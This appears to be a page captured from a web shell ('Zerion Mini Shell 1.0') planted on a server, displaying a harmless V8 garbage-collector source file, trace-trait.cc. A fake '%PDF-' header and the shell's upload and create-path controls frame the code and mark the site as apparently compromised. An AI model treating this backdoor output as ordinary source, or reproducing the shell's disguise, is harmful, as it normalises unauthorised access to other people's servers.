%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/deps/v8/src/heap/cppgc/
Upload File :
Create Path :
Current File : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/deps/v8/src/heap/cppgc/trace-trait.cc

// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#include "include/cppgc/trace-trait.h"

#include "src/heap/cppgc/gc-info-table.h"
#include "src/heap/cppgc/heap-page.h"

namespace cppgc {
namespace internal {

TraceDescriptor TraceTraitFromInnerAddressImpl::GetTraceDescriptor(
    const void* address) {
  // address is guaranteed to be on a normal page because this is used only for
  // mixins.
  const BasePage* page = BasePage::FromPayload(address);
  page->SynchronizedLoad();
  const HeapObjectHeader& header =
      page->ObjectHeaderFromInnerAddress<AccessMode::kAtomic>(address);
  return {header.ObjectStart(),
          GlobalGCInfoTable::GCInfoFromIndex(
              header.GetGCInfoIndex<AccessMode::kAtomic>())
              .trace};
}

}  // namespace internal
}  // namespace cppgc

Zerion Mini Shell 1.0